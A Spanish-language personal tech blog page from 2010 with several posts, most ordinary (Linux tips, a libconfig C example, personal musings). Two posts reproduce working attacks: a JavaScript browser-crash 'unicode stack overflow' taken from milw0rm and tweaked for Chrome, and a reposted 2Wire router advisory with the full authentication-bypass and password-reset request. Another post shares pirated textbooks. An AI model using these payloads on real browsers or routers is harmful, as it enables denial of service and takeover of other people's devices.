Jaque Mate

0 comments

Posted on 8th February 2010 by Lyonn in Ajedrez

Books de Matemáticas

0 comments

Posted on 7th February 2010 by Lyonn in Matemáticas

#Una vez más ando de pirata con el material que los señores del metro se preocupan mucho por proveernos, seleccionan el material cuidadosamente para que los usuarios tengamos al alcance de 10 pesos toda la información.

He subido a este mirror los libros que vienen en el disco. Apenas los he abierto y como alguna vez dijo mi profesora “No hay libro que te haga daño” así que les comparto y espero que cuando menos les sirva un título.

  1. Matemáticas divertidas
  2. Calculo de Leithhold
  3. Aritmética de Baldor
  4. Álgebra de Baldor
  5. Álgebra de Baldor ejercicios resueltos
  6. Geometría y Trigonometría de Baldor
  7. Cálculo diferencia e integral
  8. Calculus de Spivak
  9. Manual de fórmulas y tablas matemáticas
  10. Lógica y teoría de conjuntos

Como ven y sin no me falla mucho, son los clásicos libros de matemáticas. No hay otra que curosear que es lo que tienen y sacarles el mayor jugo posible.

echo $SALUDOS;

Unicode Stack Over Flow

0 comments

Posted on 6th February 2010 by Lyonn in Hacking

#Hola

Hoy mientras me divertia en una clase de planeación de proyectos me di una vuelta en http://milw0rm.com/ esperando consumir tres horas. Entre la cantidad de monadas que este sitio posee me di el tiempo a buscar un unicode stack overflow, el cual en pocas palabras y vulgarmente decimos que apendeja primero el browser y después la PC ya que consume el procesador.

No encuentro un gran chiste en el siguiente código, es decir, no es la gran ciencia, veo que lo central es hacer un blucle muy muy largo.

El código funcionaba con firefox (como se indica) y sus derivados (en mi caso con iceweasel y arora) pero con una pequeña modificación que hice me funcionó más ojetamente con chrome jejejejeje.

Siendo sincero, no soy muy apegado a este tipo de cosas, ya que no se me hace muy complejo el crear este tipo de cosas, aunque espero que haya cosas más complejas y tenga la fortuna de poder trabajar con esas cosas.

Les dejo el código:

——————————————->
Firefox 3.5 unicode stack overflow
Google Chrom 4.0.249.43 unicode stack overflow

Andrew Haynes , Simon Berry-Byrne, Rodrigo Ramos

——————————————->

<html>
<head>
<script language=”JavaScript” type=”Text/Javascript”>
//The unescape() function decodes an encoded string.
var str = unescape(“E240001″);
var str2 = unescape(“E240002″);
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str,   21000000);

document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var    i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < –i);

//The slice() method selects a part of an array, and returns the new array
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

# milw0rm.com [2009-07-15]
#lyonn.blominente.com

Espero que les haga sentido un rato probar este tipo de cosas y si alguien tiene un código mejor elaborado se lo agradecería :P

echo $SALUDOS;

Resetear password 2wire

0 comments

Posted on 2nd February 2010 by Lyonn in Hacking

#Hola

Este fin de semana estudiando estadística (no me pregunten como fue que llegué…) revisé un sitio donde una persona explica una forma de resetear el password de los 2wire. Solo es posible con algunas versiones de firmeware (como mi 2wire =) ). 2wire es un modem  (¿Router?)ADSL común en México, en específico con el ISP Telmex.

Realmente es una forma muy sencilla, consiste en la cantidad de caracteres enviados a dos parámetros de la administración web.

Dejo el contenido del archivo que econtré, tanto para no perder la integridad como para respetar la autoría de quienes lo hicieron.

2WIRE GATEWAY AUTHENTICATION BYPASS Y PASSWORD RESET (08/04/09)
==============================================================

DESCRIPCION
—————–
Existe una vulnerabilidad de bypass de autenticacion en page=CD35_SETUP_01
que permite poner un nuevo password a pesar de ya tener un password puesto.

Si se introduce un password de mas de 512 caracteres el password se elimina
y la proxima vez que se acceda al modem se pedira que se introduzca un nuevo
password.

VULNERABLE
—————-
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

Firmware
5.29.51
3.17.5
3.7.1

NO VULNERABLE
——————-
Firmware
5.29.135.5 o superior

DISCLOSURE TIMELINE
————————-
03/27/2009 – 2wire Contactado
respuesta no satisfactoria
07/11/2009 – Envie los detalles completos a 2wire
ninguna respuesta
07/17/2009 – Envie el advisory y video demos a 2wire
subio el ticket a “escalated” pero ninguna respuesta
08/02/2009 – Lo hice publico en Defcon 17

EXPLOIT/POC
—————–
Authentication Bypass – usa esta pagina para poner un nuevo password

http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv

Password Reset – usa la misma pagina pero con un password de > 512 caracteres

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm

hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkh
kmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm

Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv

GREETS
————
sdc lightos pcp nitr0us 0xf alt3kx darko DeadSector Etal gwolf h4ckult1m4t3
hackerss hd k00l kaz Kbrown mendozaaaa nahual Napa nediam raza-mexicana
roa octalh Setting sla.ckers thornmaker tr3w vandida vi0let xianur0 Yield

Comunidad Underground de Mexico : https://www.underground.org.mx

h k m

http://www.hakim.ws

echo $SALUDOS;

System Try Thunderbird

0 comments

Posted on 29th January 2010 by Lyonn in Thunderbird

#Hoy traigo un super how to, que probablemente jamás alguien lo haya siquiera intentado, mucho menos logrado…Jajajaja.

La idea es pasar a segundo plano a Thunderbird, pero debe de funcionar para una gran cantidad de aplicaciones con una configuración análoga. No es la gran ciencia, pero cuando le de formato al disco duro seguro necesitaré hacer de nuevo los pasos siguientes.

Hay plugins para Windows (y muy probablemente para Linux) que hagan funcionar al cliente de correo de forma similar, pero al final se convierten en alternativas.

Primero hay que bajarse la aplicación que hace posible, se llama alltray y seguramente estará en sus repositorios. En Debian o Ubuntu (por mencionar solo dos) pueden hacerlo de la fabulofantástica forma:

sudo apt-get install alltray

Después de que se ha instalado y configurado la aplicación vamos a Sistema/Preferencias/Menú Principal y donde esté el icono de la aplicación (en este caso Thunderbird) editamos las propiedades, anteponiendo el la llamada a alltray seguido de la llamada a ejecutar al cliente:

alltray -s -l thunderbird %u

Con eso debe funcionar, cuando ejecuten desde su menú de Aplicaciones a Thunderbird podrán usarlo como siempre con las ventajas que alltray provee, incluso pueden hacer click en el botón de cerrar de la ventana de Thunderbird y se irá a segundo plano(en GNOME en el lado superior derecho junto al reloj o sus proximidades)…listo!!!

Como ven no es producto de gran conocimiento, pero seguramente ayudará mucho cuando estén hasta la madre de tener ventanas abiertas.

echo $SALUDOS;

Ensayo sobre la levedad del ser.

0 comments

Posted on 28th January 2010 by Lyonn in Yo y mis debrayes

#No voy a hablar nada del título de la obra de M. Kundera, así que siento si los decepcioné…

Sin duda creo que elegí mal la ocupación que yo quería, ¿o es la ideal por permitirme llegar a estas conclusiones?, realmente no lo sé,  pero quisiera saberlo…

Empiezo a comprender a lo que se refería un autor con el estado de Decadence, y digo autor por no darle crédito sobre valorado ni mucho menos cambia mi idea sobre él. Pongo a título de prueba el mejor estado para reflexionar. Sin duda funciona y está propenso a errores muy graves, pero es un buen estado para internizar todo, donde se coteja lo que perdemos contra lo que tenemos, siempre saldrá victorioso aquello que ya no poseemos o que jamás tuvimos. Si salimos del foco del yo, vemos que pueden tornarse como cosas sin sentido o incluso con una importancia mínima, lo digo por el hecho de catástrofes como la sucedida en Haití o yo escribiendo sobre esto.

Cada vez se hace más común mi sensación de estar solo en el mundo, como si todas las personas a mi alrededor fueran árboles, con las cuales apenas y compartimos pequeños fragmentos que se esfuman segundo a segundo, retrocediendo siempre a una misantropía absurda. Recuerdo que antes, hace tan solo unos años, el estar con determinadas personas me hacia entrar en calma, con otras me llenaba de energía y con las siguientes simplemente no pasaba algo.

Por un lado mi yo buscador de la felicidad, por el otro aquel que no está dispuesto a ceder un ápice si no es lo “lógico” siempre en constante lucha en todo y para todo. Me pregunto si a todas las personas le llega a pasar alguna cosa similar, más allá de estar chipil, sino como forma cotidiana de vida. Creo que se aplica lo que alguna vez una amiga certeramente contestó ante una pregunta que en esos tiempos era una verdadera incógnita -” ¿Oye, por qué las mujeres no son coherentes en su actuar?” -Tardó tan solo unos segundos en contestar -”Es que somos más sentimentales” -Eso tiene mucha coherencia, o sea, el actuar en base a los factores emocionales que en ese momento, día, hora, (no sé que intervalos o medidas de tiempo usen xD) como también factores fisiológicos o climáticos, que sé yo, todo aquello que pueda alterar su estado de ánimo.

El primero de mis Yo’s es diminuto, pero lo suficientemente grande como para agravar cualquier idea radical de abandonar un todo o para ceder el control a aquella supuesta ligereza de pensamiento que se traduciría en felicidad instantánea ¿cierto?…¿Si continuo con la teoría en términos burdos puedo decir que los más estúpidos tienden a ser más felices?…Siendo el otro extremo, ¿mientras más listo eres más infeliz?…¿La excepción hace la regla?…Creo que hay algo en mi sangre que provoca ciertos desvarios Jajaja.

Y es que realmente me doy cuenta que no quiero ser uno u otro, sino que cada uno actúe conforme sea necesario, como se disponga en el momento la situación, sin cuestionamientos ni dudas, total y determinante frivolidad para el actuar de cada uno. Ya me ha pasado en ciertas ocasiones y realmente puedo decir que es más fácil y mucho mejor, es decir, en ambos casos gano :P , lo malo que no es a voluntad esa “ilumincación”.

Siento que estoy a un paso de lo inverosímil y las quimeras, alejándome de aquello que creía como cierto o lo que mis ideales establecen, ¿Así se siente cuando evolucionamos?, al final de cuentas se supone que el humano lo hace a cada rato ¿no?. Hasta que el destino me alcance :P

Una rutina que a poco me mata, un apoco que me convierte en un ente, una monotomía que me oxida. Creo que eso lo cambiaré a mediano plazo, hay cosas que siempre he tenido en mente hacer, una de ellas es divetirme en el trabajo, cosa que ya no está pasandome mucho, apenas hay destellos (cuando hay problemas), pero no los suficientes como para convencerme que quiero pasar mi vida así. La cordura del ser humano está sujeta al tiempo que no pase pensando consigo mismo. Es decir, si pasas mucho tiempo estando contigo mismo, aquel complice se vuelve un lastre, no dejando mejor camino que la locura, mientras te encuentres activo u ocupado aquél será tu segundo, es decir, tu voz interna que vocifera al oído y te ayuda a tomar decisiones (malas o buenas). Por aquel entiendase lo que comunmente llamamos “conciencia”.

Fue divertido escribir esto, ya que lo he hecho en dos fases, en la primera más fatalista y en la segunda más hilarante, dejando una honda impronta entre una y otra. No explicaré el porque de cada una, pero creo que está  “a hojas vistas”. En este momento noto que realmente me debrayo mucho, pero bueno, nada que algún farmaco no pueda evitar =P.

echo $SALUDOS;

watch

0 comments

Posted on 25th January 2010 by Lyonn in Sistemas Operativos

#Hola a todos,

Hoy me entero por primera vez que existe un comando llamado watch en Linux, escrito originalmente por Tony Rems. Es un comando nada nuevo en el sistema.

¿Qué hace?

Es una especie de monitor que se ejecuta como si fuera un demonio cada cierto tiempo ejecutando los comandos que nosotros le pasemos como argumento. Por ejemplo, si lo ejecutan con un ls | fgrep, pueden observar cada los cambios hechos en la carpeta que está monitoreando. Al menos en Ubuntu marca aquel o aquellos archivos afectados con una línea. En el man vienen una serie de opciones como los intervalos de tiempo, si quieren el poderoso beep. Uno de ellos es ver los cambios que se ha hecho por propietario.

watch -d ‘ls -l | fgrep lyonn’

Si crean un archivo y lo van editando y salvando verán como se selecciona el campo del tamaño del archivo (obviamente, pues fue quien sufrió cambios).

En fin, debe de haber algunas ventajas que puede brindar el que se ejecute loopeadamente.

echo $SALUDOS;

Usando libconfig

0 comments

Posted on 22nd January 2010 by Lyonn in Programación | c

#Hola a todos,

Hoy voy a comentarles acerca de una librería hecha en C y C++ para el tratamiento de archivos de configuración, tal como sería un archivo XML o properties.

A primera vista les puede parecer un tanto complicada la forma de crear sus archivos de configuración, pero en la programación es bastante cómoda y se torna fácil :P .

Un fragmento de lo que puede ser un archivo de configuración válido.

// An example configuration file that stores information about a store.

// Basic store information:
name = “Books, Movies & More”;

// Store inventory:
inventory =
{
books = ( { title  = “Treasure Island”;
author = “Robert Louis Stevenson”;
price  = 29.99;
qty    = 5; },
{ title  = “Snow Crash”;
author = “Neal Stephenson”;
price  = 9.99;
qty    = 8; }
);

O puede ser, como ya comenté, tipo properties, por ejemplo:

###########################################################
# Rodrigo Ramos Godínez                                                                                        #
# Archivo de configuración de ejemplo                                                                 #
# mail: crackduoro@gmail.com                                                                              #
###########################################################

version = “1.0″;

nombre = “Rodrigo”;
nick = “lyonn”;
apellido = “Ramos”;
edad = 21;

Es un ejemplo bastante sencillo el archivo de configuración, pero al final si buscan la forma de llave-valor les podrá resultar muy útil.

En programación podemos verificar que el archivo esté bien formado =P y eso es bastante bueno ya que nos evitará muchos dolores de cabeza posteriores.

Un ejemplito para dejar más claro como se obtendría primero que sea válido el archivo de configuración, después obtenemos dos llaves y las mandamos por pantalla.

#include <stdlib.h>
#include <stdio.h>
#include <libconfig.h>

int main(int argc, char *argv[]) {

config_t config;
config_setting_t *setting;
const char *str;

config_init(&config);
//Verificamos que el archivo de configuración se encuentre y que esté bien formado
if (!config_read_file(&config, “config_files/config.cfg”))
{
fprintf(stderr,”%s, %d -%s\n”, config_error_file(&config), config_error_line(&config), config_error_text(&config));
config_destroy(&config);
return (EXIT_FAILURE);
}
//Obtenemos el valor de la llave
if (config_lookup_string(&config, “nombre”, &str))
printf(“%s \n”, str);
else
fprintf(stderr, “No hay un nombre disponible”);
//Otro valor de una llave
if (config_lookup_string(&config, “apellido”, &str))
printf(“%s \n”, str);
else
fprintf(stderr, “No hay apellido disponible”);

return (EXIT_SUCCESS);
}

Bien, ahora solo falta compilar…Hay de dos formas posibles, la primera es que la librería config esté en /usr/lib o especificar el path completo, ambos como flags (-l, -I,) a gcc.

Ejemplo 1:

gcc $SOURCE -o $OUTPUT  -lconfig

Ejemplo 2:

gcc $SOURCE -o $OUTPUT  -I./usr/local/lib/libconfig.so.9

Y pues a ya está, a usarlo como mejor vaya con sus necesidades.

Para descargar, ver más documentación de la lib (API), etc pueden consultar la siguiente liga

Espero que les sirva en algún momento de la vida esta información, muy reducida, pero está….

echo $SALUDOS;

Program Status Word

0 comments

Posted on 21st January 2010 by Lyonn in Sistemas Operativos

#Pues como ya he comentado antes, algunas veces el blog lo uso como recetario de cocina para no olvidar ciertas cosas ni mucho menos estar buscándolas por todas partes.

Creo que ya comenté que me interesa un poco el como funciona desde las tripas los SO, aunque dudo alguna vez escribir alguno, pero conocer es suficiente para mi :P . Pues bien,  de los primeros conceptos que me encuentro nuevos totalmente son la Palabra de Status del Programa que es…

In computers, the program status word (PSW) is an area of memory or a hardware register which contains information about program state used by the operating system and the underlying hardware. It will normally include a pointer (address) to the next instruction to be executed. The program status word typically contains an error status field and condition codes such as the interrupt enable/disable bit and a supervisor / user mode bit.

The program status word (PSW) is (for example) 32 bits in length and contains the information required for proper program execution. The PSW includes the instruction address, condition code, and other fields. In general, the PSW is used to control instruction sequencing and to hold and indicate the status of the system in relation to the program currently being executed. The active or controlling PSW is called the current PSW. By storing the current PSW during an interruption, the status of the CPU can be preserved for subsequent inspection. By loading a new PSW or part of a PSW, the state of the CPU can be initialized or changed.

Hay algunas cosillas más, como contadores que apenas estoy revisando y no dudo que las tenga que poner acá, ya que la cantidad de conceptos que se tienen que saber es impresionante. Vamos lento, pero vamos….

echo $SALUDOS;

QT 4 Tutorial

0 comments

Posted on 15th January 2010 by Lyonn in Programación

#hola

[Ya está arriba el documento]

Esta vez encontré un pdf bastante claro y bueno para todos aquellos que quieran empezar a desarrollar en QT en cualquier plataforma de desarrollo, como Windos, Mac Os o GNU/ Linux. Viene mucho código para practicar e ir desarrollando la habilidad de escribir código por nosotros mismos.

No es la última versión de QT, pero si ayudará mucho para comprender el como funciona (se programa en C++) para posteriores cambios, aunque no creo que sean de sintaxis, sino incorporación y deprecación de clases, etc.

Aun no puedo subir el documento por mi salida a internet, pero hoy mismo en la noche estará ya arriba el documento.

Saludos y espero disfruten este estupendo documento